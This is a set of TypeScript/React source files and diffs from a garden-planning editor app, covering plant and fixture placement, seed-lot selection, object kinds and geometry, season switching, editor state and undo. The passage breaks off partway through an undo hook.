const armedPlant = useEditorStore((s) => s.armedPlant)
const armedLotId = useEditorStore((s) => s.armedLotId)
const setArmedLotId = useEditorStore((s) => s.setArmedLotId)
const [query, setQuery] = useState('')
return (
<div className="panel flex min-h-0 flex-col gap-2 overflow-y-auto overflow-x-hidden p-3.5">
{!focused ? (
<>
<h6 className="mx-1 mb-1.5 mt-1">Toolkit</h6>
{OBJECT_KINDS.map((k) => {
const armed = armedKind === k.kind
return (
<button
key={k.kind}
type="button"
draggable={canEdit}
disabled={!canEdit}
onDragStart={(e) => e.dataTransfer.setData('text/plain', `kind:${k.kind}`)}
onClick={() => toggleArmedKind(k.kind)}
aria-pressed={armed}
title="Drag onto the plan — or click to arm, then click the plan"
className={cn(
'flex items-center gap-2.5 rounded-full border px-2.5 py-[7px] text-left disabled:cursor-default disabled:opacity-60',
armed ? 'border-accent-400 bg-accent-200' : 'border-transparent hover:bg-neutral-200',
)}
>
<KindSwatch def={k} />
<span className="flex flex-col items-start gap-px">
<span className="whitespace-nowrap text-[13px] font-bold">{k.label}</span>
<span className="whitespace-nowrap text-[11px] text-ink-mute">{formatSize(k.widthCm, k.heightCm, unit)}</span>
</span>
</button>
)
})}
<div className="mt-auto px-1.5 pb-0.5 pt-2 text-xs leading-relaxed text-ink-mute">
{canEdit ? 'Drag a shape onto the plan. Double-click any bed to plant it.' : 'You can look but not change this garden.'}
</div>
</>
) : (
<>
<div className="mb-1 mt-0.5 flex items-center gap-2">
<IconButton label="Back to the plan" icon="chevron-left" size={30} onClick={onBack} />
<span className="min-w-0 truncate font-heading text-base leading-[1.15]" title={focused.name}>
{focused.name}
</span>
</div>
{canEdit && focused.plantable ? (
<>
<input
className="input"
placeholder="Find a plant…"
aria-label="Find a plant"
value={query}
onChange={(e) => setQuery(e.target.value)}
/>
{orderedPlants(plants, plantings, query).map((p) => {
const armed = armedPlant?.id === p.id
const choices = armed ? lotChoices(armedPlant, lotsByPlant) : []
return (
<div key={p.id} className="flex flex-col gap-1.5">
<button
type="button"
draggable
onDragStart={(e) => {
// Dragging arms too, so the drop knows which plant (and lot).
if (!armed) toggleArmedPlant(p, lotsByPlant)
e.dataTransfer.setData('text/plain', `plant:${p.id}`)
}}
onClick={() => toggleArmedPlant(p, lotsByPlant)}
aria-pressed={armed}
title="Drag into the bed — or click to arm, then click the bed"
className={cn(
'flex items-center gap-[9px] rounded-full border px-3 py-2 text-left',
armed ? 'border-accent-400 bg-accent-200' : 'border-divider bg-bg hover:border-neutral-400',
)}
>
<ColorDot color={p.color} size={16} />
<span className="min-w-0 truncate text-[13px] font-bold">{p.name}</span>
<span className="ml-auto flex-none text-[11px] text-ink-mute">{formatSpacing(p.spacingCm, unit)} apart</span>
</button>
{choices.length > 0 && <LotChooser lots={choices} value={armedLotId} onChange={setArmedLotId} />}
</div>
)
})}
{plants.length === 0 && <p className="px-1 text-xs text-ink-mute">No plants in the catalog yet.</p>}
<div className="mt-auto flex flex-col gap-1.5 pt-2">
{armedPlant && <FillRow plant={armedPlant} busy={filling} onFill={onFill} />}
<div className="flex flex-wrap gap-1">
{focusedPlopCount > 0 && (
<Button variant="ghost" icon="eraser" iconSize={13} className="px-2.5 text-[13px] text-accent-700" onClick={onClear}>
Clear the bed ({focusedPlopCount})
</Button>
)}
{canScan && (
<Button variant="ghost" icon="camera" iconSize={13} className="px-2.5 text-[13px]" onClick={onScan}>
Scan a packet
</Button>
)}
</div>
</div>
</>
) : (
<p className="px-1 text-xs leading-relaxed text-ink-mute">
{!canEdit ? 'You can look but not change this garden.' : `${focused.name} isn't plantable — turn that on in the inspector's details.`}
</p>
)}
</>
)}
</div>
)
}
/** Which packet a planting comes out of, when a plant has more than one. */
export function LotChooser({
lots,
value,
onChange,
compact = false,
}: {
lots: SeedLot[]
value: number | null
onChange: (lotId: number | null) => void
compact?: boolean
}) {
return (
<div className={cn('flex flex-wrap gap-1', compact ? 'items-center' : 'pl-2')}>
<span className="w-full text-[11px] font-bold text-ink-mute">Which packet?</span>
{lots.map((lot) => (
<button
key={lot.id}
type="button"
className="chip px-3 py-1 text-xs"
aria-pressed={value === lot.id}
onClick={() => onChange(lot.id)}
title={`${formatQuantity(lot.remaining)} of ${formatQuantity(lot.quantity)} ${lot.unit} left`}
>
{lot.vendor || 'Unnamed lot'}
{lot.packedForYear != null ? ` · ${lot.packedForYear}` : ''}
</button>
))}
<button type="button" className="chip px-3 py-1 text-xs" aria-pressed={value === null} onClick={() => onChange(null)}>
No particular one
</button>
</div>
)
}
/** Fill the whole bed with the armed plant — rows you could plant from, or
* clumps for a quick sketch (#77). */
export function FillRow({ plant, busy, onFill }: { plant: Plant; busy: boolean; onFill: (layout: FillLayout) => void }) {
return (
<div className="flex flex-wrap items-center gap-1 rounded-[18px] border border-divider bg-bg px-2.5 py-2">
<span className="text-[11px] font-bold text-ink-mute">Fill the bed with {plant.name.toLowerCase()}:</span>
<button type="button" className="chip px-3 py-1 text-xs" disabled={busy} onClick={() => onFill('grid')} title="Individual plants at true spacing">
rows
</button>
<button type="button" className="chip px-3 py-1 text-xs" disabled={busy} onClick={() => onFill('clump')} title="Fat clumps — a quick sketch">
clumps
</button>
{busy && <span className="text-[11px] text-ink-mute">filling</span>}
</div>
)
}
-55
View File
@@ -1,55 +0,0 @@
import { Button } from '@/components/ui/Button'
import { cn } from '@/lib/cn'
import type { UndoOutcome, UndoTarget, useUndo } from '@/lib/history'
/**
* Undo, plus what happened. Paired with useUndo so the history list and the
* agent turn's inline undo (#57) behave identically — including the part that
* actually matters, which is reporting a partial result honestly rather than as
* a success or a failure.
*/
export function UndoButton({
changeSet,
undo,
className,
label = 'Undo',
}: {
changeSet: UndoTarget
undo: ReturnType<typeof useUndo>
className?: string
label?: string
}) {
const outcome = undo.outcomeFor(changeSet.id)
return (
<div className={cn('flex flex-col items-end gap-1', className)}>
<Button
variant="ghost"
className="px-2 py-1 text-xs"
disabled={outcome?.tone === 'pending'}
onClick={() => undo.undo(changeSet)}
>
{outcome?.tone === 'pending' ? 'Undoing…' : label}
</Button>
{outcome && outcome.tone !== 'pending' && <OutcomeNote outcome={outcome} />}
</div>
)
}
const TONE_CLASS: Record<Exclude<UndoOutcome['tone'], 'pending'>, string> = {
ok: 'text-muted',
partial: 'text-amber-700 dark:text-amber-400',
error: 'text-red-700 dark:text-red-400',
}
function OutcomeNote({ outcome }: { outcome: UndoOutcome }) {
if (outcome.tone === 'pending') return null
// No text alignment of its own: the container decides. The history list stacks
// this to the right of an entry, the chat panel puts it under a left-aligned
// message, and a hard-coded text-right made the chat's copy read against its
// own column.
return (
<p role="status" className={cn('text-xs', TONE_CLASS[outcome.tone])}>
{outcome.message}
</p>
)
}
+57
View File
@@ -0,0 +1,57 @@
// Arming a plant for placement: shared by the desktop toolkit and the phone
// strip so both pick the same lot rules and order their lists the same way.
import type { Plant } from '@/lib/plants'
import { recentlyPlantedIds, type EditorPlanting } from '@/lib/plantings'
import { attributableLots, type SeedLot } from '@/lib/seedLots'
import { useEditorStore } from './store'
/** The catalog ordered for planting: what this garden has been planted with
* most recently first (so "more of the same" is the first chip), then the rest
* alphabetically; narrowed by a name query. */
export function orderedPlants(plants: readonly Plant[], plantings: readonly EditorPlanting[], query: string): Plant[] {
const q = query.trim().toLowerCase()
const byId = new Map(plants.map((p) => [p.id, p]))
const recent = recentlyPlantedIds([...plantings])
.map((id) => byId.get(id))
.filter((p): p is Plant => !!p)
const seen = new Set(recent.map((p) => p.id))
const rest = [...plants].filter((p) => !seen.has(p.id)).sort((a, b) => a.name.localeCompare(b.name))
const all = [...recent, ...rest]
return q ? all.filter((p) => p.name.toLowerCase().includes(q)) : all
}
/**
* Arm a plant (tap again to disarm). One attributable lot attributes itself;
* several leave the lot unset so the caller can ask which packet — never a
* guess, since a planting's lot can't be changed after the fact. Arming a plant
* disarms any kind and drops the selection, as the prototype does.
*/
export function toggleArmedPlant(plant: Plant, lotsByPlant: Map<number, SeedLot[]>): void {
const st = useEditorStore.getState()
if (st.armedPlant?.id === plant.id) {
st.setArmedPlant(null)
return
}
const lots = attributableLots(lotsByPlant.get(plant.id) ?? [])
st.setArmedKind(null)
st.setSel(null)
st.setArmedPlant(plant, lots.length === 1 ? lots[0].id : null)
}
/** The lots a just-armed plant could be attributed to, when that's a question
* worth asking (more than one). */
export function lotChoices(plant: Plant | null, lotsByPlant: Map<number, SeedLot[]>): SeedLot[] {
if (!plant) return []
const lots = attributableLots(lotsByPlant.get(plant.id) ?? [])
return lots.length > 1 ? lots : []
}
export function toggleArmedKind(kind: string): void {
const st = useEditorStore.getState()
const armed = st.armedKind === kind
st.setArmedKind(armed ? null : kind)
st.setArmedPlant(null)
st.setSel(null)
st.setGhost(null)
}
+54 -12
View File
@@ -1,27 +1,26 @@
import type { ObjectShapeKind } from './types'
// The seven placeable object kinds with their palette presentation and sensible
// default sizes (cm), per the #11 brief.
// The seven placeable object kinds: the design's default sizes (cm — a 3′×6
// bed, a 14″ grow bag…), whether plants go in them, and the stacking order at
// placement (paths/structures/in-ground under beds, trees floating above).
export interface KindDef {
kind: string
label: string
icon: string
shape: ObjectShapeKind
widthCm: number
heightCm: number
// Default z-index at placement. Paths/structures/in-ground sit under beds (0);
// beds and containers sit at 1; trees float above (2). Explicit z still wins.
plantable: boolean
defaultZ: number
}
export const OBJECT_KINDS: KindDef[] = [
{ kind: 'bed', label: 'Bed', icon: '▭', shape: 'rect', widthCm: 120, heightCm: 240, defaultZ: 1 },
{ kind: 'grow_bag', label: 'Grow bag', icon: '🛍️', shape: 'circle', widthCm: 40, heightCm: 40, defaultZ: 1 },
{ kind: 'container', label: 'Container', icon: '🪴', shape: 'circle', widthCm: 60, heightCm: 60, defaultZ: 1 },
{ kind: 'in_ground', label: 'In-ground', icon: '🟫', shape: 'rect', widthCm: 200, heightCm: 200, defaultZ: 0 },
{ kind: 'tree', label: 'Tree', icon: '🌳', shape: 'circle', widthCm: 300, heightCm: 300, defaultZ: 2 },
{ kind: 'path', label: 'Path', icon: '🧱', shape: 'rect', widthCm: 100, heightCm: 300, defaultZ: 0 },
{ kind: 'structure', label: 'Structure', icon: '🏠', shape: 'rect', widthCm: 200, heightCm: 200, defaultZ: 0 },
{ kind: 'bed', label: 'Bed', shape: 'rect', widthCm: 91, heightCm: 183, plantable: true, defaultZ: 1 },
{ kind: 'grow_bag', label: 'Grow bag', shape: 'circle', widthCm: 40, heightCm: 40, plantable: true, defaultZ: 1 },
{ kind: 'container', label: 'Container', shape: 'circle', widthCm: 60, heightCm: 60, plantable: true, defaultZ: 1 },
{ kind: 'in_ground', label: 'In-ground', shape: 'rect', widthCm: 200, heightCm: 200, plantable: true, defaultZ: 0 },
{ kind: 'tree', label: 'Tree', shape: 'circle', widthCm: 300, heightCm: 300, plantable: false, defaultZ: 2 },
{ kind: 'path', label: 'Path', shape: 'rect', widthCm: 100, heightCm: 300, plantable: false, defaultZ: 0 },
{ kind: 'structure', label: 'Structure', shape: 'rect', widthCm: 200, heightCm: 200, plantable: false, defaultZ: 0 },
]
export function kindDef(kind: string): KindDef | undefined {
@@ -32,3 +31,46 @@ export function kindDef(kind: string): KindDef | undefined {
export function objectDisplayName(o: { name: string; kind: string }): string {
return o.name || kindDef(o.kind)?.label || 'Object'
}
/** The plural noun for a count of a kind: "9 beds", "3 grow bags". */
export function kindPlural(kind: string, n: number): string {
const label = (kindDef(kind)?.label ?? kind.replace(/_/g, ' ')).toLowerCase()
if (n === 1) return `1 ${label}`
return `${n} ${label === 'in-ground' ? 'in-ground plots' : label.endsWith('h') ? `${label}es` : `${label}s`}`
}
/** How a kind draws: fill + stroke from the canvas tokens (so they flip with
* the theme), and a dash pattern in world cm for the soft-edged kinds. */
export interface KindStyle {
fill: string
stroke: string
dash?: string
}
const STYLES: Record<string, KindStyle> = {
bed: { fill: 'var(--p-bed-fill)', stroke: 'var(--p-bed-stroke)' },
in_ground: { fill: 'var(--p-ing-fill)', stroke: 'var(--p-ing-stroke)', dash: '10 7' },
path: { fill: 'var(--p-path-fill)', stroke: 'var(--p-path-stroke)', dash: '3 8' },
grow_bag: { fill: 'var(--p-bag-fill)', stroke: 'var(--p-bag-stroke)' },
container: { fill: 'var(--p-bkt-fill)', stroke: 'var(--p-bkt-stroke)' },
tree: { fill: 'var(--p-tree-fill)', stroke: 'var(--p-tree-stroke)', dash: '12 8' },
structure: { fill: 'var(--p-str-fill)', stroke: 'var(--p-str-stroke)' },
}
export function kindStyle(kind: string): KindStyle {
return STYLES[kind] ?? STYLES.structure
}
/** An object's style: its own color override (a darker mix of it for the
* stroke) or its kind's. */
export function objectStyle(o: { kind: string; color?: string | null }): KindStyle {
if (o.color) {
return { fill: o.color, stroke: `color-mix(in srgb, ${o.color} 65%, #201e1d)`, dash: kindStyle(o.kind).dash }
}
return kindStyle(o.kind)
}
/** The corner radius the design gives a rect of width w (cm). */
export function rectRadius(widthCm: number): number {
return Math.min(14, widthCm * 0.14)
}
+73
View File
@@ -0,0 +1,73 @@
import { useNavigate } from '@tanstack/react-router'
import type { Garden } from '@/lib/gardens'
import { useGardenYears } from '@/lib/objects'
import { parsePlanName, planGardensOf } from '@/lib/plan'
import { useEditorStore } from './store'
export interface SeasonOption {
value: string
/** "2026" / "2027 plan" / the base garden's name. */
label: string
/** The phone chip: "26" / "27 plan". */
short: string
kind: 'year' | 'plan' | 'base'
}
/**
* The season control. Years with planting data come from the API (the current
* year is always among them): the current year is the live, editable garden;
* any other is that season's read-only record. A "YYYY plan" entry is a whole-
* garden copy named "<this garden> — YYYY" (see lib/plan.ts) and opens it; from
* inside a plan, the control offers the way back to the garden it came from.
*/
export function useSeasons(garden: Garden, gardens: Garden[] | undefined) {
const navigate = useNavigate()
const years = useGardenYears(garden.id)
const seasonYear = useEditorStore((s) => s.seasonYear)
const setSeasonYear = useEditorStore((s) => s.setSeasonYear)
const now = new Date().getFullYear()
const plan = parsePlanName(garden.name)
const baseGarden = plan ? gardens?.find((g) => g.name.trim() === plan.base) : undefined
let options: SeasonOption[]
let value: string
let banner: string | null = null
if (plan && baseGarden) {
options = [
{ value: `garden:${baseGarden.id}`, label: baseGarden.name, short: '←', kind: 'base' },
{ value: 'this', label: `${plan.year} plan`, short: `${String(plan.year).slice(2)} plan`, kind: 'plan' },
]
value = 'this'
banner = `Editing the ${plan.year} plan — a separate copy. ${baseGarden.name} stays untouched.`
} else {
const ys = new Set<number>(years.data ?? [])
ys.add(now)
options = [...ys]
.sort((a, b) => a - b)
.map((y) => ({ value: String(y), label: String(y), short: String(y).slice(2), kind: 'year' as const }))
for (const g of planGardensOf(garden.name, gardens ?? [])) {
options.push({ value: `garden:${g.id}`, label: `${g.year} plan`, short: `${String(g.year).slice(2)} plan`, kind: 'plan' })
}
value = seasonYear != null ? String(seasonYear) : String(now)
if (seasonYear != null) banner = seasonYear < now ? `${seasonYear} is a past season — read-only.` : `Viewing ${seasonYear} — read-only.`
}
const select = (v: string) => {
if (v === 'this') return
if (v.startsWith('garden:')) {
navigate({ to: '/gardens/$gardenId', params: { gardenId: v.slice('garden:'.length) } })
return
}
const y = Number(v)
if (Number.isInteger(y)) setSeasonYear(y === now ? null : y)
}
const cycle = () => {
const i = options.findIndex((o) => o.value === value)
const next = options[(i + 1) % options.length]
if (next) select(next.value)
}
const current = options.find((o) => o.value === value)
return { options, value, select, cycle, banner, short: current?.short ?? String(now).slice(2), isPlan: !!(plan && baseGarden) }
}
+123 -17
View File
@@ -1,24 +1,130 @@
// Shared editor UI constants + tiny helpers used across the object/plop markers
// and overlays, so colors, handle sizes, and the object-local transform stay in
// one place instead of drifting between files.
// Shared editor constants + tiny geometry helpers, so the canvas, the
// inspectors and the page agree on the same numbers.
export const SELECT_COLOR = '#2f7a3e' // selection stroke/handles
// Whether the primary pointer is a fingertip rather than a mouse — the one signal
// the touch affordances key off (bigger handles here, the on-screen nudge pad in
// the editor), so they can't disagree about what "touch" means. Read once at
// load; a device doesn't switch its primary pointer mid-session, and the optional
// chain keeps it false (mouse defaults) under test / SSR where matchMedia is absent.
export const isCoarsePointer =
typeof window !== 'undefined' && !!window.matchMedia?.('(pointer: coarse)').matches
// On-screen size of a drag/resize handle. Bigger on touch so a fingertip can
// actually grab a resize corner or the rotate knob — 12px is fine for a mouse but
// frustrating for a thumb (#104).
export const HANDLE_PX = isCoarsePointer ? 22 : 12
export const MIN_RADIUS_CM = 1 // smallest plop radius
export const DIMMED_OPACITY = 0.4 // non-focused objects/plops in focus mode
import { localToWorld, worldToLocal, type Point } from '@/lib/geometry'
import type { Plant } from '@/lib/plants'
import { computeDerivedCount, type EditorPlanting } from '@/lib/plantings'
import type { EditorObject } from './types'
/** Object drags snap their center to a 3-inch grid (unless the garden has its
* own snap grid turned on). */
export const SNAP_CM = 7.62
/** Camera scale bounds, px per cm. */
export const MIN_SCALE = 0.12
export const MAX_SCALE = 8
/** The container width below which the editor renders its phone chrome. */
export const PHONE_BREAKPOINT = 760
/** Smallest an object may be resized to (cm). */
export const MIN_OBJECT_CM = 5
/** Focus mode dims everything that isn't the focused bed. */
export const DIM_OBJECT = 0.3
export const DIM_PLOP = 0.22
export { type Point }
/** SVG transform placing content in an object's local frame: its center point
* then its clockwise rotation. Plops and overlays render inside this. */
export function objectTransform(o: { xCm: number; yCm: number; rotationDeg: number }): string {
return `translate(${o.xCm} ${o.yCm}) rotate(${o.rotationDeg})`
}
export function toLocal(o: EditorObject, w: Point): Point {
return worldToLocal(w, { x: o.xCm, y: o.yCm }, o.rotationDeg)
}
export function toWorld(o: EditorObject, l: Point): Point {
return localToWorld(l, { x: o.xCm, y: o.yCm }, o.rotationDeg)
}
/** Half the height of an object's screen-aligned bounding box once rotated —
* where a label above or below it should sit. */
export function rotatedHalfHeight(o: EditorObject): number {
const a = (o.rotationDeg * Math.PI) / 180
return (Math.abs(o.widthCm * Math.sin(a)) + Math.abs(o.heightCm * Math.cos(a))) / 2
}
/** Whether a world point is inside an object (its own frame). */
export function objectContains(o: EditorObject, w: Point): boolean {
const l = toLocal(o, w)
if (o.shape === 'circle') {
const rx = o.widthCm / 2
const ry = o.heightCm / 2
return rx > 0 && ry > 0 && (l.x * l.x) / (rx * rx) + (l.y * l.y) / (ry * ry) <= 1
}
return Math.abs(l.x) <= o.widthCm / 2 && Math.abs(l.y) <= o.heightCm / 2
}
/** The topmost object under a world point (the list is in draw order). */
export function objectAt(objects: readonly EditorObject[], w: Point): EditorObject | null {
for (let i = objects.length - 1; i >= 0; i--) if (objectContains(objects[i], w)) return objects[i]
return null
}
/**
* Keep a plop's center inside its object, letting the patch overhang the edge
* by up to half its radius — the spacing rule (DESIGN.md): a bed edge is
* nobody's neighbour, so the outer plant owes it half a spacing, not a whole.
*/
export function clampPlopLocal(o: EditorObject, p: Point, r: number): Point {
const hx = Math.max(0, o.widthCm / 2 - r / 2)
const hy = Math.max(0, o.heightCm / 2 - r / 2)
if (o.shape === 'circle') {
// Ellipse: scale the point into the unit circle and pull it back to the rim.
const nx = hx > 0 ? p.x / hx : 0
const ny = hy > 0 ? p.y / hy : 0
const d = Math.hypot(nx, ny)
if (d <= 1) return p
return { x: (nx / d) * hx, y: (ny / d) * hy }
}
return { x: Math.max(-hx, Math.min(hx, p.x)), y: Math.max(-hy, Math.min(hy, p.y)) }
}
/** Snap a bed-local point to the bed's own grid (anchored at its top-left
* corner, matching the lines the canvas draws), when the bed snaps. */
export function snapPlopLocal(o: EditorObject, p: Point): Point {
if (!o.snapToGrid || !(o.gridSizeCm > 0)) return p
const step = o.gridSizeCm
const hw = o.widthCm / 2
const hh = o.heightCm / 2
return {
x: -hw + Math.round((p.x + hw) / step) * step,
y: -hh + Math.round((p.y + hh) / step) * step,
}
}
/** The count a plop shows: its override, else derived live from its radius. */
export function plopCount(p: EditorPlanting, plant: Plant | undefined): number {
if (p.count != null) return p.count
return plant ? computeDerivedCount(p.radiusCm, plant.spacingCm) : p.derivedCount
}
/** The radius a fresh tap-placed plop gets: half the plant's spacing — one
* plant per patch, the grid layout you could plant from. Fill (rows/clumps)
* covers bulk. */
export function defaultPlopRadius(plant: Plant): number {
return Math.max(1, plant.spacingCm / 2)
}
/** Whether keyboard focus is in a text control, so shortcuts stand down. */
export function isTyping(): boolean {
const el = document.activeElement
if (!el) return false
const tag = el.tagName
return tag === 'INPUT' || tag === 'TEXTAREA' || tag === 'SELECT' || (el as HTMLElement).isContentEditable
}
/** "3m ago" / "yesterday" for a UTC timestamp. */
export function relativeTime(iso: string): string {
const then = Date.parse(iso)
if (Number.isNaN(then)) return iso
const seconds = (Date.now() - then) / 1000
if (seconds < 60) return 'just now'
const minutes = Math.floor(seconds / 60)
if (minutes < 60) return `${minutes}m ago`
const hours = Math.floor(minutes / 60)
if (hours < 24) return `${hours}h ago`
const days = Math.floor(hours / 24)
if (days === 1) return 'yesterday'
if (days < 30) return `${days}d ago`
return new Date(then).toLocaleDateString(undefined, { month: 'short', day: 'numeric' })
}
+90 -138
View File
@@ -1,163 +1,115 @@
import { create } from 'zustand'
import type { Viewport } from '@/lib/geometry'
import type { Plant } from '@/lib/plants'
import type { EditorPlanting } from '@/lib/plantings'
import type { EditorObject } from './types'
// Ephemeral editor state only (per DESIGN § State): the viewport, the current
// selection, the object being live-edited mid-gesture, and the palette kind
// armed for tap-to-place. All server state stays in react-query.
// Ephemeral editor state only (DESIGN § State): the camera, the selection, the
// focused bed, what's armed for placement, the rail tab / phone mode, and any
// in-flight drag geometry. All server state stays in react-query.
export const MIN_SCALE = 0.05 // px per cm — fully zoomed out
export const MAX_SCALE = 20 // px per cm — fully zoomed in
/** The camera: world (garden cm) → screen is translate(tx,ty) scale(s). */
export interface Viewport {
tx: number
ty: number
s: number
}
// The editor's one primary activity (#99). On mobile this is the segmented
// control at the bottom of the screen; it decides which tools dock there —
// placing fixtures, placing plants, the journal, or the assistant — so the four
// activities stop competing for the same cramped strip. Desktop keeps its
// side-column layout and treats this as a lighter hint.
export type EditorMode = 'fixtures' | 'plants' | 'journal' | 'assistant'
export type Selection = { type: 'object'; id: number } | { type: 'plop'; id: number }
// Where the editor starts, and where it returns on a garden switch.
export const DEFAULT_MODE: EditorMode = 'fixtures'
/** The right-hand rail's tabs (desktop). */
export type RailTab = 'plot' | 'journal' | 'history' | 'chat'
/** The phone's primary mode — which tools dock under the canvas. */
export type PhoneMode = 'build' | 'plants' | 'journal' | 'chat'
/** Which thing the journal list is narrowed to, when it is. The composer
* attaches to the selection regardless; this is the reading filter. */
export type JournalScope = { type: 'object'; id: number } | { type: 'plop'; id: number }
interface EditorState {
viewport: Viewport
setViewport: (next: Viewport | ((prev: Viewport) => Viewport)) => void
vp: Viewport
/** True while the camera is animating (fit/focus); drags and zooms clear it. */
anim: boolean
setVp: (vp: Viewport, anim: boolean) => void
setAnim: (anim: boolean) => void
// The primary editor mode (mobile mode bar). Ephemeral — which tool you were
// last using is not a property of the garden.
mode: EditorMode
setMode: (mode: EditorMode) => void
sel: Selection | null
setSel: (sel: Selection | null) => void
// The selected object OR plop (mutually exclusive; selecting one clears the
// other). selectedId is a garden object; selectedPlantingId is a plop.
selectedId: number | null
select: (id: number | null) => void
focusId: number | null
setFocus: (id: number | null) => void
selectedPlantingId: number | null
selectPlanting: (id: number | null) => void
focusedObjectId: number | null
setFocusedObject: (id: number | null) => void
// Which rail tab is showing, or null when the rail is closed. Selecting an
// object switches this to 'inspector' (see GardenEditorPage), so editing never
// starts with a click on the rail itself.
railTab: string | null
setRailTab: (tab: string | null) => void
// Which season the canvas is showing: null is "now" (live and editable), a
// year is a read-only view of what was in the ground that year. Ephemeral —
// which year you were last looking at is not a property of the garden.
seasonYear: number | null
setSeasonYear: (year: number | null) => void
// Which bed the journal tab is filtered to, or null for the whole garden.
// Separate from selectedId deliberately: you can scope the journal to a bed
// and then select something else without the list moving under you.
journalObjectId: number | null
setJournalObjectId: (id: number | null) => void
// Which single plop the journal is filtered to, if any — the parallel of
// journalObjectId for a planting (#85). The two scopes are mutually exclusive
// (the setters clear each other), so the journal filter is never ambiguous.
journalPlantingId: number | null
setJournalPlantingId: (id: number | null) => void
// The plant armed for placing plops (set after the PlantPicker choice); stays
// armed for repeat-placement until cleared (Escape / done). null = not placing.
armedPlant: Plant | null
// Which seed lot placements should be attributed to, when the armed plant has
// one worth naming. Cleared with the plant.
armedLotId: number | null
setArmedPlant: (p: Plant | null, lotId?: number | null) => void
// During a move/resize/rotate, the object's live geometry is held here so the
// canvas renders it instantly; the PATCH fires only on gesture end.
liveObject: EditorObject | null
setLiveObject: (o: EditorObject | null) => void
// The same, for a plop being moved/resized.
livePlanting: EditorPlanting | null
setLivePlanting: (p: EditorPlanting | null) => void
// The palette kind armed for tap-to-place (mobile-friendly; also set while
// dragging a kind from the palette). null when nothing is armed.
armedKind: string | null
setArmedKind: (kind: string | null) => void
// True while an object move/resize/rotate is in progress, so the viewport's
// pan gesture stands down (both listen on the same svg).
objectDragging: boolean
setObjectDragging: (v: boolean) => void
armedPlant: Plant | null
/** Which seed lot placements are attributed to, when one is worth naming. */
armedLotId: number | null
setArmedPlant: (plant: Plant | null, lotId?: number | null) => void
setArmedLotId: (lotId: number | null) => void
// Clear all transient (non-persisted) editor state at once — selection, focus,
// armed plant/kind, and any in-flight live geometry — when entering a garden
// view fresh (e.g. the public read-only page on mount). The viewport is left
// alone; the canvas re-fits it from the loaded garden.
resetTransient: () => void
/** Ghost preview position (world cm, snapped) while a kind is armed. */
ghost: { x: number; y: number } | null
setGhost: (g: { x: number; y: number } | null) => void
/** null = now (live, editable); a year = that season, read-only. */
seasonYear: number | null
setSeasonYear: (year: number | null) => void
tab: RailTab
setTab: (tab: RailTab) => void
mode: PhoneMode
setMode: (mode: PhoneMode) => void
journalScope: JournalScope | null
setJournalScope: (scope: JournalScope | null) => void
// During a drag/resize the live geometry is held here so the canvas renders
// it instantly; the PATCH fires once on release.
liveObject: EditorObject | null
setLiveObject: (o: EditorObject | null) => void
livePlanting: EditorPlanting | null
setLivePlanting: (p: EditorPlanting | null) => void
/** Everything transient, cleared when entering or leaving a garden. The
* camera is left alone; the canvas re-fits from the loaded garden. */
reset: () => void
}
const TRANSIENT = {
sel: null,
focusId: null,
armedKind: null,
armedPlant: null,
armedLotId: null,
ghost: null,
seasonYear: null,
tab: 'plot' as RailTab,
mode: 'build' as PhoneMode,
journalScope: null,
liveObject: null,
livePlanting: null,
}
export const useEditorStore = create<EditorState>((set) => ({
viewport: { tx: 0, ty: 0, scale: 1 },
setViewport: (next) => set((s) => ({ viewport: typeof next === 'function' ? next(s.viewport) : next })),
vp: { tx: 40, ty: 40, s: 0.5 },
anim: false,
setVp: (vp, anim) => set({ vp, anim }),
setAnim: (anim) => set({ anim }),
mode: DEFAULT_MODE,
setMode: (mode) => set({ mode }),
selectedId: null,
select: (id) => set({ selectedId: id, selectedPlantingId: null }),
selectedPlantingId: null,
selectPlanting: (id) => set({ selectedPlantingId: id, selectedId: null }),
focusedObjectId: null,
setFocusedObject: (id) => set({ focusedObjectId: id }),
railTab: null,
setRailTab: (tab) => set({ railTab: tab }),
seasonYear: null,
...TRANSIENT,
setSel: (sel) => set({ sel }),
setFocus: (id) => set({ focusId: id }),
setArmedKind: (kind) => set({ armedKind: kind, ghost: kind ? undefined : null } as Partial<EditorState>),
setArmedPlant: (plant, lotId = null) => set({ armedPlant: plant, armedLotId: plant ? lotId : null }),
setArmedLotId: (lotId) => set({ armedLotId: lotId }),
setGhost: (ghost) => set({ ghost }),
setSeasonYear: (year) => set({ seasonYear: year }),
journalObjectId: null,
// Scoping to a bed clears any plop scope, so only one is ever active.
setJournalObjectId: (id) => set({ journalObjectId: id, journalPlantingId: null }),
journalPlantingId: null,
setJournalPlantingId: (id) => set({ journalPlantingId: id, journalObjectId: null }),
armedPlant: null,
armedLotId: null,
setArmedPlant: (p, lotId = null) => set({ armedPlant: p, armedLotId: p ? lotId : null }),
liveObject: null,
setTab: (tab) => set({ tab }),
setMode: (mode) => set({ mode }),
setJournalScope: (scope) => set({ journalScope: scope }),
setLiveObject: (o) => set({ liveObject: o }),
livePlanting: null,
setLivePlanting: (p) => set({ livePlanting: p }),
armedKind: null,
setArmedKind: (kind) => set({ armedKind: kind }),
objectDragging: false,
setObjectDragging: (v) => set({ objectDragging: v }),
resetTransient: () =>
set({
selectedId: null,
selectedPlantingId: null,
focusedObjectId: null,
armedPlant: null,
armedLotId: null,
armedKind: null,
liveObject: null,
livePlanting: null,
railTab: null,
seasonYear: null,
journalObjectId: null,
journalPlantingId: null,
mode: DEFAULT_MODE,
}),
reset: () => set({ ...TRANSIENT }),
}))
+39
View File
@@ -0,0 +1,39 @@
import { useCallback } from 'react'
import { totalChanges, useGardenHistory, useUndo, type ChangeSet } from '@/lib/history'
/** The newest change set still in effect — not already reverted, and not itself
* an undo (undoing an undo is a redo, which the History tab offers per entry). */
function latestUndoable(sets: ChangeSet[]): ChangeSet | null {
return sets.find((cs) => cs.revertedById == null && cs.revertsId == null && totalChanges(cs) > 0) ?? null
}
/**
* The editor's one-button Undo. It re-reads the history before choosing what
* to revert: the cached list can trail the canvas (a placement that just landed
* isn't in it yet), and undoing the step *before* the one you meant is the
* worst thing an undo button can do. Shares the useUndo instance with the
* History tab so outcomes are reported identically.
*/
export function useUndoLast(gardenId: number, enabled: boolean) {
const history = useGardenHistory(gardenId, enabled)
const undo = useUndo(gardenId)
const sets = history.data?.pages.flatMap((p) => p.changeSets) ?? []
const target = latestUndoable(sets)
const outcome = target ? undo.outcomeFor(target.id) : undefined
const undoLast = useCallback(async () => {
const fresh = await history.refetch()
const list = fresh.data?.pages.flatMap((p) => p.changeSets) ?? sets
const t = latestUndoable(list)
if (t) undo.undo(t)
}, [history, undo, sets])
return {
history,
undo,
